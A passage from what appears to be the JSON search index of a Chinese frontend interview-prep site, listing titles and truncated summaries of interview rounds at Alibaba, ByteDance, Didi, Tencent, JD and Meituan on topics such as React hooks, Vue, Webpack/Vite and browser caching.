本科就读于XXX大学计算机科学与技术专业，在校期间系统学习了前端开发相关技术栈，包括HTML、CSS、JavaScript基础，以及React、Vue等现代框架。通过课程项目和个人实践，积累了一定的开发经验。\n在技术方面，熟练掌握ES6+语法、响应式布局、组件化开发思想，了解前端工程化工具如Webpack、Vite的使用。同时对前端性 …","title":"京东-零售-实习 · 第 1 轮 · 第一轮"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-64/round-106/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮共 7 道题。答案默认折叠，便于先自行作答。\n1. 离职的原因是什么 题目要点 略\n参考答案 略\n2. 你熟悉 VUE 吗 题目要点 略\n参考答案 略\n3. 学习一些新技术，或者是业务中碰到的一些难题，你是针对性去解决会比较多一些，还是说你有系统的学习的一些规划呢 题目要点 略\n参考答案 略\n4. 工作过程中哪些成长比较大，遇到过哪些难题，怎么解决的 题目要点 略\n参考答案 略\n5. 你们的加班强度怎么样 题目要点 略\n参考答案 略\n6. 你如何看待团队合作 题目要点 略\n参考答案 略\n7. 离职的时候你怎么处理跟前同事的关系的 题 …","title":"阿里巴巴-社招-5年 · 第 1 轮 · HR面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-64/round-105/","summary":" ← 第 1 轮 · 返回本次面经 · 第 1 轮 →\n本轮共 7 道题。答案默认折叠，便于先自行作答。\n1. 请用3分钟介绍魔方组件项目，突出技术决策过程 题目要点 略\n参考答案 略\n2. 项目中遇到的最大技术挑战及解决思路 题目要点 略\n参考答案 略\n3. 性能优化项目的ROI如何评估 题目要点 性能优化 ROI 是投入产出比的度量，结合成本和业务收益评估\n需明确优化目标、估算投入、预估收益，计算合理 ROI\n关注性能指标与业务指标的映射关系，结合数据分析\n兼顾技术收益和用户体验提升，避免盲目优化\n持续跟踪优化效果，动态调整投资策略 参考答案 一、考察点 理解性能优化的投入与收益关系\n掌握 …","title":"阿里巴巴-社招-5年 · 第 1 轮 · 三面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-64/round-104/","summary":" ← 第 1 轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： 浏览器的缓存机制、react hooks\n本轮共 11 道题。答案默认折叠，便于先自行作答。\n1. 魔方组件的整体架构设计，包括其模块划分和核心功能 题目要点 略\n参考答案 略\n2. 你们是如何选择技术栈的？有哪些关键因素影响了决策 题目要点 略\n参考答案 略\n3. 魔方组件如何实现动态加载，以提升初始加载性能 题目要点 略\n参考答案 略\n4. 魔方组件如何管理组件的配置信息？组件之间的通信是如何处理的 题目要点 略\n参考答案 略\n5. 三维模型的加载性能，将加载时间从10秒缩短至3秒都做了哪些操作 题目要点 略\n参考答案 略 …","title":"阿里巴巴-社招-5年 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-64/round-103/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： React 生命周期、react hooks、JSX、react 渲染机制、React函数组件更新、react 组件设计模式\n本轮共 38 道题。答案默认折叠，便于先自行作答。\n1. 你参与的主要项目是什么？是桌面端还是移动端项目 题目要点 略\n参考答案 略\n2. 在项目中主要使用了哪些技术栈 题目要点 略\n参考答案 略\n3. 你对 Vue 有多少了解 题目要点 Vue 是数据驱动 + 响应式的组件化框架，适合快速构建中大型项目\n熟悉其核心机制：响应式原理、组件生命周期、指令语法、虚拟 DOM\n掌握 Vue …","title":"阿里巴巴-社招-5年 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-63/round-102/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： react hooks、高阶组件、列表和key、react 渲染机制、react 组件设计模式、前端模块化、Webpack与Vite\n本轮共 12 道题。答案默认折叠，便于先自行作答。\n1. 讲一下你对Hooks 了解 题目要点 Hooks 是函数组件状态和副作用管理的新方案\n常用 Hooks 有 useState、useEffect、useMemo、useCallback 等\nHook 调用必须遵循规则，保证顺序稳定\n自定义 Hooks 用于逻辑复用，提高代码可维护性\n理解 Hook 设计原理，有助于写出高质量 React …","title":"阿里巴巴-社招-3年 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-63/round-101/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： react 事件机制、React 生命周期、state 与 props\n本轮共 13 道题。答案默认折叠，便于先自行作答。\n1. 实现全屏水平垂直居中、宽高为屏幕宽度一半的正方形 题目要点 利用 vw 单位定义宽高，保证正方形且相对视口大小 Flexbox 和绝对定位 + transform 是常用居中方案 重置默认 margin 和设置容器高度保证布局准确 任选方案均可，Flexbox 代码简洁，绝对定位兼容性好 参考答案 一、考察点 掌握 CSS 布局基础知识\n熟悉视口单位（vw、vh）的使用\n理解水平垂直居中多种实现方式 …","title":"阿里巴巴-社招-3年 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-62/round-100/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： call、apply和bind、性能优化、浏览器渲染过程、浏览器的缓存机制\n本轮共 10 道题。答案默认折叠，便于先自行作答。\n1. 假设现在有一个老项目需从React 17升级至React 18，你会怎么做 题目要点 先升级 react/react-dom 版本，再更改根渲染方式为 createRoot 理解 React 18 并发特性，调整相关组件代码 确认并升级第三方依赖，保证兼容性 充分测试，监控性能，平滑迁移 参考答案 一、考察点 理解 React 18 的新特性及其对应用的影响 掌握 React 18 升级步骤及 …","title":"阿里巴巴-社招-2年 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-62/round-99/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： react hooks、WeakMap 和 WeakSet\n本轮共 12 道题。答案默认折叠，便于先自行作答。\n1. ES6相关属性都用过那些 题目要点 熟悉 ES6 关键新特性和语法糖 了解特性设计目的，提升代码可维护性和性能 结合项目场景合理运用，避免滥用带来的副作用 使用 ESLint 及 Babel 保证兼容性和规范 参考答案 一、考察点 全面了解 ES6（ECMAScript 2015）新特性 掌握模块化、变量声明、函数、对象、数组、字符串、类、Promise 等核心特性 能说明特性使用场景、优势及与旧版本对比 具备 …","title":"阿里巴巴-社招-2年 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-61/round-98/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： react hooks、性能优化\n本轮共 10 道题。答案默认折叠，便于先自行作答。\n1. 你们项目为什么选Redux而非MobX 题目要点 Redux 强调可预测性、单向数据流、纯函数 reducer，适合复杂项目 丰富的调试工具和社区中间件支持开发效率和可维护性 MobX 响应式自动追踪，适合快速开发，但隐式依赖增加调试难度 团队规模和项目复杂度是选择状态管理方案的关键因素 现代 Redux 已大幅简化，代码冗余感降低 参考答案 一、考察点 是否理解 Redux 和 MobX 两种状态管理库的设计理念与差异 是否能结合项 …","title":"阿里巴巴-社招-1年 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-61/round-97/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： Webpack与Vite、事件循环、跨域通信\n本轮共 16 道题。答案默认折叠，便于先自行作答。\n1. 项目中遇到了哪些技术难题，是如何解决的 题目要点 STAR法则\n参考答案 略\n2. 在解决这些技术难题的过程中，有没有尝试过其他解决方案 题目要点 略\n参考答案 略\n3. 项目中是如何进行团队协作的 题目要点 略\n参考答案 略\n4. 在团队协作中，有没有遇到过沟通不畅或者意见不合的情况？是如何解决的 题目要点 略\n参考答案 略\n5. webpack 的 plugin 了解吗 题目要点 Plugin 是 Webpack 扩展机 …","title":"阿里巴巴-社招-1年 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-60/round-96/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮共 10 道题。答案默认折叠，便于先自行作答。\n1. 介绍一下你觉的最有成就感的项目 题目要点 略\n参考答案 略\n2. 项目为什么选择Lerna+Yarn Workspaces构建Monorepo 题目要点 Monorepo 实现多包统一管理，提升代码复用和维护效率 Lerna 管理版本发布、变更检测、脚本执行 Yarn Workspaces 优化依赖安装，支持本地包软链接 两者结合，实现高效、便捷的 Monorepo 构建和维护 适合大型复杂项目及多包同步开发场景 参考答案 一、考察点 理解 Monorepo 的概念及优势\n多个相 …","title":"滴滴-社招-5年 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-60/round-95/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： 作用域链与闭包、全方位解读this、函数柯里化、原型链与继承、DOM操作、深拷贝/浅拷贝、call、apply和bind\n本轮共 24 道题。答案默认折叠，便于先自行作答。\n1. 深拷贝浅拷贝有什么区别？怎么实现深拷贝？ 题库原题：深拷贝浅拷贝有什么区别？怎么实现深拷贝？\n题目要点 JS数据类型分别基本数据类型和引用数据类型，基本数据类型保存的是值，引用类型保存的是引用地址(this指针)。\n浅拷贝共用一个引用地址，深拷贝会创建新的内存地址。\n浅拷贝方法 直接对象复制 Object.assign 深拷贝 …","title":"滴滴-社招-5年 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-59/round-94/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： 浏览器渲染过程、浏览器的缓存机制、浏览器的垃圾回收机制、浏览器的存储机制\n本轮共 10 道题。答案默认折叠，便于先自行作答。\n1. 在你做过的项目中，最值得说的是哪一个 题目要点 STAR法则\n参考答案 基于自己简历挖掘亮点项目\n2. 在该项目中，你主要负责哪些模块的开发？这些模块的技术难点是什么 题目要点 略\n参考答案 略\n3. 请举例说明在项目中，你是如何通过技术手段解决业务问题的 题目要点 略\n参考答案 略\n4. 在项目中，你采取了哪些性能优化措施？效果如何 题目要点 略\n参考答案 可以参考 【性能优化】相关知识点，在 …","title":"滴滴-社招-3年 · 第 1 轮 · 三面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-59/round-93/","summary":" ← 第 1 轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： react hooks、列表和key、高阶组件、性能优化、react 渲染机制、React函数组件更新、react 组件设计模式、全方位解读this、类型判断\n本轮共 14 道题。答案默认折叠，便于先自行作答。\n1. 项目中遇到的最大技术挑战是什么 题目要点 略\n参考答案 略\n2. 项目整体架构是什么样的 题目要点 略\n参考答案 略\n3. 在项目中，你们是如何进行前端代码的模块化和组件化的 题目要点 模块化：代码拆分成独立功能模块，使用 ES Module 标准\n组件化：UI拆分成可复用组件，封装结构、样式和逻辑\n结合构建工具 …","title":"滴滴-社招-3年 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-59/round-92/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： z-index、布局技巧、Flexbox、优化性能、react hooks、浏览器渲染过程、浏览器的缓存机制、浏览器的垃圾回收机制\n本轮共 11 道题。答案默认折叠，便于先自行作答。\n1. 讲一下可视化搭建平台中魔方组件的设计与实现难点 题目要点 略\n参考答案 略\n2. 如何解决多模块叠加时的z-index管理问题 题目要点 z-index 基于层叠上下文，简单数字不能保证全局一致性 建立统一 z-index 管理系统（如 Z_INDEX_MAP）是可维护的关键 模块内部创建局部 stacking context，避免全局冲突 …","title":"滴滴-社招-3年 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-58/round-91/","summary":" ← 已是第一轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： 本次面试主要聚焦于前端中高级技术深度和实际项目经验的考察。重点涵盖了前端工程化与性能优化（如Webpack优化、首屏加载、HTTP缓存、CDN等）、JavaScript运行机制与高级特性（事件循环、宏微任务、Vue 2/3响应式原理、数组操作等），以及Web安全与系统设计（如XSS防御、HTTPS原理、持久化登录系统设计）。此外，还深入探讨了跨平台开发（Uni-App/Taro原理及选型）和微前端架构的关键考量点。面试官旨在通过这些题目，全面评估候选人在复杂业务场景下的技术选型、问题分析与解决能力，以及对前端底层原理和安全实 …","title":"美团-本地商业-校招 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-57/round-90/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： WebWorker、Canvas 和 SVG\n本轮共 10 道题。答案默认折叠，便于先自行作答。\n1. 自我介绍，项目介绍 题目要点 略\n参考答案 略\n2. 为什么选择Vue3+TS而非React 题目要点 略\n参考答案 略\n3. 你们用的是什么脚手架，脚手架的基本原理了解么 题目要点 脚手架是提升工程效率、统一规范的工具 底层通过 Node.js 实现文件复制、模板注入、命令执行 常用工具：Vue CLI、CRA、Vite、自研 CLI（基于 Plop、Yeoman） 企业通常自研脚手架实现快速初始化、统一配置和组件生成 …","title":"滴滴-社招-2年 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-57/round-89/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： 生命周期、Vue3 API、响应式原理、v-for、事件循环\n本轮共 21 道题。答案默认折叠，便于先自行作答。\n1. 为什么使用 而非 题目要点 \u0026amp;lt;header\u0026amp;gt;是HTML5语义化标签，明确头部区域含义\n语义化标签有助于SEO和辅助技术识别\n提高代码可读性和维护性，减少依赖类名赋予语义\n推荐优先使用语义标签代替无语义的\u0026amp;lt;div\u0026amp;gt;+类名组合 参考答案 考察点 理解HTML语义化标签的重要性及作用\n掌握语义化标签对SEO和无障碍的影响\n了解语义化标签在开发协作和维护中的优势\n参考答案 一、语义化标签的核心 …","title":"滴滴-社招-2年 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-56/round-88/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮共 15 道题。答案默认折叠，便于先自行作答。\n1. 介绍一下实习项目的业务背景（这块说了蛮久） 题目要点 略\n参考答案 略\n2. 假如你是一个项目的负责人，面对一个新需求你会如何判断以及决策 题目要点 业务价值与需求背景明确 / 技术可行性与风险评估 / 资源与时间合理估算\n多方案设计与优劣比较 / 风险预判及缓解措施\n结合团队和业务做权衡决策 / 明确执行计划与责任 / 持续跟进与复盘优化\n沟通协调能力和风险管理能力是关键\n决策既考虑短期交付，也兼顾长期维护和团队承受能力 参考答案 考察点 评估候选人对需求分析和项目管理流程的理 …","title":"滴滴-社招-1年 · 第 1 轮 · 三面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-56/round-87/","summary":" ← 第 1 轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： 浏览器渲染过程\n本轮共 11 道题。答案默认折叠，便于先自行作答。\n1. 简单介绍一下你上一段实习中觉得做的比较好的项目 题目要点 略\n参考答案 略\n2. 想知道你们的项目大概是什么样的结构，你在开发的时候会从什么地方下手 题目要点 理解项目结构和流程是高效开发的基础\n先从入口和路由入手，理清全局数据和功能模块\n注重调试和测试，减少开发盲点\n合理利用团队协作工具提升开发效率\n持续学习和总结，快速适应项目迭代 参考答案 考察点 理解典型前端项目的整体结构及模块划分\n掌握从项目启动到开发流程的系统思路\n能清晰描述如何快速定位入口及 …","title":"滴滴-社招-1年 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-56/round-86/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： 响应式原理、Webpack与Vite、https、浏览器渲染过程、浏览器的缓存机制\n本轮共 19 道题。答案默认折叠，便于先自行作答。\n1. 介绍一下简历中的组件库项目 题目要点 略\n参考答案 略\n2. 聊聊 vite 和 webpack 的区别 题库原题：聊聊 vite 和 webpack 的区别\n题目要点 Webpack：成熟的模块打包工具，功能强大但配置复杂，适合需要高度定制和复杂构建需求的项目。 Vite：现代化的开发工具，提供快速的开发体验和优化的生产构建，适合追求开发效率和现代化特性的项目。 选择 Vite 还是 …","title":"滴滴-社招-1年 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-55/round-84/","summary":" ← 已是第一轮 · 返回本次面经 · 第 2 轮 →\n本轮概述： 比较简单，主要考察一些前端基础知识。\n本轮共 21 道题。答案默认折叠，便于先自行作答。\n1. 请你简单介绍一下自己，你研究生期间学了哪些课程？ 题目要点 计算机专业研究生，系统学习了相关理论课程，对前端技术有浓厚兴趣并有实践经验。\n参考答案 本科学习计算机科学与技术专业，研究生阶段继续深入学习相关领域知识。研究生期间的核心课程包括高级数据结构与算法分析、分布式系统、软件架构设计、人工智能原理、计算机图形学、高级数据库系统等。同时选修了前端开发相关的课程，如Web技术与应用、用户界面设计等。在学习过程中，对前端技术产生了浓厚兴 …","title":"京东-物流-秋招 · 第 1 轮 · 第一轮"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-54/round-83/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮共 3 道题。答案默认折叠，便于先自行作答。\n1. 如何理解业务与技术的关系，如何将业务需求转化为技术方案 题目要点 解释业务与技术的相互依赖和促进关系\n梳理需求理解到方案设计的完整流程\n强调沟通、验证和持续优化的重要性\n结合案例体现实际落地思路\n警示脱节风险，体现系统思考 参考答案 考察点 ● 理解业务与技术的相辅相成关系\n● 掌握业务需求分析和技术方案设计流程\n● 能将抽象业务目标拆解为具体技术实现路径\n● 体现跨部门沟通和协作能力\n参考答案 一、业务与技术的关系理解 相辅相成：业务是技术的驱动力，技术是业务落地的支撑。\n业务需 …","title":"字节-社招-6年（3-1） · 第 1 轮 · 交叉面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-54/round-82/","summary":" ← 第 1 轮 · 返回本次面经 · 第 1 轮 →\n本轮共 12 道题。答案默认折叠，便于先自行作答。\n1. 介绍一下主导的业务系统以及相关工作 题目要点 略\n参考答案 略\n2. 系统如何量化提升业务指标 题目要点 说明指标分类和目标设定方法\n描述数据采集和监控流程\n强调数据分析和问题洞察能力\n介绍方案设计、执行及量化评估手段\n提出技术与业务结合的具体措施 参考答案 考察点 ● 理解业务指标的定义与分类\n● 掌握数据采集、分析和量化的方法\n● 熟悉目标设定、方案设计与效果评估流程\n● 结合技术手段和产品思维推动业务增长\n参考答案 一、业务指标的定义与分类 核心业务指标（KPI）：反映业务目 …","title":"字节-社招-6年（3-1） · 第 1 轮 · 三面\u0026交叉面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-54/round-81/","summary":" ← 第 1 轮 · 返回本次面经 · 第 1 轮 →\n本轮共 9 道题。答案默认折叠，便于先自行作答。\n1. 讲一下D2C（Design to Code）这个项目 题目要点 阐述 D2C 的概念和目标\n说明设计稿到代码的转换流程和关键技术\n分析项目架构及技术栈组成\n指出面临的挑战与解决方案\n强调项目对团队效率和产品质量的提升价值 参考答案 考察点 ● 理解 D2C 项目的定位及价值\n● 掌握设计稿自动转化为代码的核心技术与流程\n● 了解项目中遇到的技术挑战及解决方案\n● 能阐述项目架构、自动化程度及实际应用场景\n参考答案 一、项目背景与定义 D2C（Design to Code） 是一个致力 …","title":"字节-社招-6年（3-1） · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-54/round-80/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： react 渲染机制、react hooks、Webpack与Vite\n本轮共 15 道题。答案默认折叠，便于先自行作答。\n1. 请选择一个最有技术挑战的项目，说明你解决的核心问题、技术选型依据及后续优化空间 题目要点 STAR法则\n参考答案 根据自己项目经历，提前挖掘亮点、准备项目\n2. 作为前端负责人，在前端基础设施层做了哪些体系化建设 题目要点 从规范、工具链、组件库、监控和协作多维度展开\n结合具体措施与实际效果进行阐述\n展现管理、技术与团队文化的融合能力\n体现对挑战的预判和解决方案 参考答案 考察点 ● 考察候选人对前 …","title":"字节-社招-6年（3-1） · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-53/round-79/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮共 10 道题。答案默认折叠，便于先自行作答。\n1. 为什么选择前端，你是怎么学前端的，自学前端觉得比较困难的点 题目要点 真实表达学习动机和行业认知\n清晰描述学习路径与方法，体现自驱力\n主动总结自学难点及解决方案，展示解决问题能力\n表现对未来成长的规划和期待 参考答案 考察点 ● 面试官希望了解候选人的学习动机和成长路径\n● 关注候选人对前端行业的认知及自学能力\n● 探索自学过程中的困难及解决方案，反映抗压和问题解决能力\n参考答案 一、选择前端的原因 技术的即时反馈与可视化强：前端开发可以快速看到效果，工作成果直观，满足感强。\n行 …","title":"字节-抖音短视频-社招-5年 · 第 1 轮 · HR面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-53/round-78/","summary":" ← 第 1 轮 · 返回本次面经 · 第 1 轮 →\n本轮共 10 道题。答案默认折叠，便于先自行作答。\n1. 自我介绍（注意与一、二面的差异化） 题目要点 略\n参考答案 略\n2. 请重点介绍一个你主导或深度参与的技术项目（非业务需求），如何从0到1推动落地 题目要点 明确项目是“自主发起”，解决了实际“工程难题” 描述了“目标-方案-过程-成果”四个完整阶段 有实际的“技术亮点”可以展开讲解（如 monorepo、适配抽象、构建工具链） 表达出清晰的“主人翁意识”与技术领导力 参考答案 考察点 ● 面试官希望了解候选人是否具备“技术主导力”或“技术项目 owner”思维\n● 重点考察项目选 …","title":"字节-抖音短视频-社招-5年 · 第 1 轮 · 三面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-53/round-77/","summary":" ← 第 1 轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： CSRF攻击、https、浏览器的同源策略、浏览器的缓存机制、盒子模型、全方位解读this、call、apply和bind\n本轮共 23 道题。答案默认折叠，便于先自行作答。\n1. 自我介绍与项目介绍 题目要点 略\n参考答案 略\n2. 你在项目中如何优化首屏加载时间 题目要点 清晰解释首屏加载构成和评估指标 梳理优化方向：资源优化、加载顺序、渲染提前 结合实际项目列举优化措施及效果 提醒常见误区，展示对细节的把控能力 参考答案 考察点 ● 首屏加载性能优化的全链路能力\n考察对加载过程、资源调度、渲染流程等多维度的理解与掌握。 …","title":"字节-抖音短视频-社招-5年 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-53/round-76/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： 事件循环、前端存储、React 生命周期、列表和key、react 事件机制、react 渲染机制、浏览器的同源策略、CSRF攻击、 XSS防御、跨域资源共享（CORS）\n本轮共 23 道题。答案默认折叠，便于先自行作答。\n1. 介绍一下你觉的比较有成就感的项目 题目要点 STAR法则\n参考答案 老传统了，基于简历挖掘一个最有亮点的项目\n2. 遇到的最有挑战的技术是什么 题目要点 略\n参考答案 略\n3. 项目技术选型是如何衡量的 题目要点 列举技术选型的核心衡量标准\n说明评估流程和实操方法\n强调综合权衡，避免片面判断\n结合项目 …","title":"字节-抖音短视频-社招-5年 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-52/round-75/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： Web Storage、离线存储、浏览器解析 HTML 文件、浏览器渲染过程、浏览器的缓存机制、浏览器的存储机制\n本轮共 22 道题。答案默认折叠，便于先自行作答。\n1. 讲一下你的3D渲染的项目 题目要点 略\n参考答案 略\n2. 3D渲染顶点着色、剪裁你是怎么实现的 题目要点 略\n参考答案 略\n3. 顶点着色阶段中的坐标变换通常包括哪些步骤？为什么剪裁能提升性能 题目要点 略\n参考答案 略\n4. 在透视投影中，为什么需要视口变换（Viewport Transformation） 题目要点 略\n参考答案 略\n5. 像素着色阶 …","title":"字节-商业化-社招-4年 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-52/round-74/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： 全方位解读this、作用域链与闭包、事件循环、call、apply和bind、前端存储、react hooks、react 渲染机制、React函数组件更新\n本轮共 25 道题。答案默认折叠，便于先自行作答。\n1. 讲一下你平常使用的React Hooks 题目要点 熟练掌握常用 Hook（useState/useEffect/useRef/useMemo/useCallback/useContext） 能结合实际项目说明每个 Hook 的使用动机和实现效果 理解 Hook 的核心机制（闭包陷阱、依赖数组规则、执行时机等） 参 …","title":"字节-商业化-社招-4年 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-51/round-73/","summary":" ← 已是第一轮 · 返回本次面经 · 已是最后一轮 →\n本轮要点： 事件冒泡、事件捕获、事件委托、浏览器的缓存机制、组件通信、异步组件\n本轮共 21 道题。答案默认折叠，便于先自行作答。\n1. 实现数组里的拍平 数组本身的拍平 题目要点 递归遍历数组并合并结果。\n判断元素类型是否为数组。\n结合ES6 flat方法提升效率。\n参考答案 考察点 ● 理解递归与数组操作\n考察候选人对递归处理嵌套数据结构的能力。\n● 掌握ES6及新特性（如flat）\n能结合不同方案解决扁平化问题。\n参考答案 /** * 递归实现数组拍平 * @param {Array} arr - 待拍平数组，可能嵌套多层 * …","title":"字节-社招-1年 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-50/round-72/","summary":" ← 已是第一轮 · 返回本次面经 · 已是最后一轮 →\n本轮共 22 道题。答案默认折叠，便于先自行作答。\n1. 编写一个函数解析URL，提取其中的协议、域名、路径和查询参数 题目要点 URL 结构 / URL API 使用 / 查询参数处理 / 错误处理\n参考答案 考察点 ● 理解 URL 结构及其组成部分\n面试官关注候选人是否熟悉 URL 的协议（scheme）、域名（host）、路径（path）、查询参数（query）等基本组成。\n● 掌握字符串处理和正则表达式技巧\n是否能用合适的方法提取各部分信息。\n● 能写出健壮且兼容性好的解析函数\n考虑边界条件和异常输入。\n参考答案 原理说明 …","title":"腾讯-CDG-暑期实习 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-49/round-71/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮共 9 道题。答案默认折叠，便于先自行作答。\n1. 讲一下“智慧医疗系统”项目背景、目标以及你主要负责的模块 题目要点 结合自己简历上的一个亮点项目准备\n参考答案 结合自己简历上的一个亮点项目准备\n2. 什么是响应式设计？响应式设计的基本原理是什么？如何进行实现？ 题库原题：什么是响应式设计？响应式设计的基本原理是什么？如何进行实现？\n题目要点 响应式设计（Responsive Design）是一种网页设计方法，旨在使网页在各种设备和屏幕尺寸上都能提供良好的用户体验。响应式设计通过使用流式布局、弹性网格和媒体查询，使得网页能够根据不 …","title":"腾讯-音乐 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-49/round-70/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： 动画、响应式设计、事件循环、跨域、浏览器的缓存机制、列表和key、生命周期\n本轮共 16 道题。答案默认折叠，便于先自行作答。\n1. 请介绍一下你的科研项目经历。 题目要点 STAR法则\n参考答案 结合自身经历展开\n2. 为什么选择前端开发作为你的职业方向？ 题目要点 无\n参考答案 无\n3. 你学习前端开发有多久了？谈谈你的学习经历。 题目要点 无\n参考答案 无\n4. 如何使用CSS实现动画效果？举个项目中的例子。 题目要点 transition/animation 区别 / transform+opacity / 项目落地举 …","title":"腾讯-音乐 · 第 1 轮 · 一面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-48/round-69/","summary":" ← 第 1 轮 · 返回本次面经 · 已是最后一轮 →\n本轮概述： 二面，以实际场景、设计架构出发，考察候选人的综合知识和深度\n本轮共 11 道题。答案默认折叠，便于先自行作答。\n1. 描述一个你解决的复杂性能优化案例（指标提升与具体手段） 题目要点 按照START法则来讲解\n参考答案 结合自身项目经历来说\n2. React/Vue框架设计思想对比（如数据绑定、虚拟DOM） 题目要点 React/Vue/设计思想/双向绑定/单向数据流/虚拟DOM/Fiber/Proxy/模板编译\n参考答案 一、考察点 是否理解 React 和 Vue 的设计理念与核心架构区别 是否能准确比较两者在数据绑定、 …","title":"腾讯云-实习 · 第 1 轮 · 二面"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/interview-experiences/experience-48/round-68/","summary":" ← 已是第一轮 · 返回本次面经 · 第 1 轮 →\n本轮要点： 一面，更多考察的是八股文的基础知识\n本轮共 20 道题。答案默认折叠，便于先自行作答。\n1. 什么是 HTML 语义化？ 题库原题：什么是 HTML 语义化？\n题目要点 先看下什么是HTML：\n参考答案 先看下什么是HTML：\n超文本标记语言（英语：HyperText Markup Language，简称：HTML）是一种用于创建网页的标准标记语言。 HTML元素是构建网站的基石。HTML允许嵌入图像与对象，并且可以用于创建交互式表单，它被用来结构化信息——例如标题、段落和列表等等，也可用来在一定程度上描述文档的外观和语义。 